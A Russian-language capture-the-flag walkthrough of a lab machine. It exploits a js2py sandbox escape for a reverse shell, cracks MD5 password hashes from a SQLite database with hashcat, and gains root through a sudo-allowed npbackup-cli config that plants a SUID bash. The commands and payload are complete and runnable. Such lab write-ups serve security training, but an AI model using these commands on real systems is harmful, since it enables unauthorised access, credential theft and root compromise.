Машина уровня «Easy». У нас в распоряжении только IP адрес машины — 10.10.11.82.
Сканим порты и смотрим, что нам доступно.
nmap -sC -sV 10.10.11.82Получаем вот такой вывод.

У нас открыт 8000 порт. Открываем его в браузере.

Нажимаем «Download APP». У нас скачивается «app.zip». Разархивируем и проверим что там.
Внутри нас ожидает вот такая структура.
$ tree
.
├── app.py
├── instance
│ └── users.db
├── requirements.txt
├── static
│ ├── css
│ │ └── styles.css
│ └── js
│ └── script.js
└── templates
├── base.html
├── dashboard.html
├── index.html
├── login.html
├── register.html
└── reviews.htmlВ requirements.txt можно найти интересную библиотеку js2py==0.74 у которой есть публичный exploit. Это довольно быстро гуглится. В итоге находим exploit тут.
Регистрируемся на сайте. В ЛК нам дается возможность запускать js код, запрос при этом идет на endpoint /run_code.
Забираем найденный ранее exploit и пробуем выполнить:
python3 /tmp/js2py_exp.py --target http://10.10.11.82:8000/run_code --lhost <you_ip>
nc -lnvp 4444Визуально выглядит так (даже nc заранее можно не запускать).

Соответственно в терминале с reverse shell.

Немного стабилизируем шелл
python3 -c 'import pty; pty.spawn("/bin/bash")'Проверяем /etc/passwd и директорию /home. Скорее всего нам нужен пользователь marco.
Порывшись в директории приложения, можно найти базу данных sqlite в instance/users.db. Открываем ее:
sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code_snippet user
sqlite> select * from user;
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|hola|4d186321c1a7f0f354b297e8914ab240
4|cola|a1e05ee2564dbf16b04f09a23d482d06
5|AAA|e1faffb3e614e6c2fba74296962386b7
sqlite> У нас есть хеши паролей. Попробуем взломать перебором пароль пользователя marco.
Кладем hash в hash.txt и запускаем hashcat:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --showВ выводе будет пароль. Пробуем его для ssh и забираем в /home/marco первый флаг.
Далее нам нужно выполнить LPE. Смотрим что есть в sudo:
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codeparttwo:~$ Мы можем выполнять npbackup-cli.
Это тулза для бэкапа, которая имеет конфигурационный файл. Сгенерируем payload и конфиг для нее.
cat >/tmp/rootme.sh <<'EOF'
#!/bin/sh
cp /bin/bash /usr/local/bin/broot
chmod 4755 /usr/local/bin/broot
EOF
chmod +x /tmp/rootme.sh
mkdir -p /var/tmp/nprepo
cat >"$HOME/npb.conf" <<'EOF'
conf_version: 3.0.1
repos:
default:
repo_uri: file:///var/tmp/nprepo
repo_group: default_group
backup_opts:
paths:
- /etc/hosts
source_type: folder_list
repo_opts:
repo_password: test
retention_policy: {}
groups:
default_group:
backup_opts:
pre_exec_commands:
- /tmp/rootme.sh
pre_exec_per_command_timeout: 60
pre_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
minimum_backup_size_error: 0
use_fs_snapshot: false
EOF
sudo /usr/local/bin/npbackup-cli -c "$HOME/npb.conf" -b --force -v
/usr/local/bin/broot -p -i
cat /root/root.txtКак работает данный payload. Он эксплуатирует pre_exec_commands функцию в утилите npbackup.
Сначала мы создаем скрипт rootme.sh, в котором копируем /bin/bash оболочку в /usr/local/bin/broot и устанавливаем SUID бит, позволяющей любому пользователю запускать эту копию bash с правами root. Тем самым при запуске npbackup-cli выполняется наш скрипт от имени root и создает SUID копию bash с правами root. Далее мы просто запускаем «рутированный» шелл и забираем флаг.
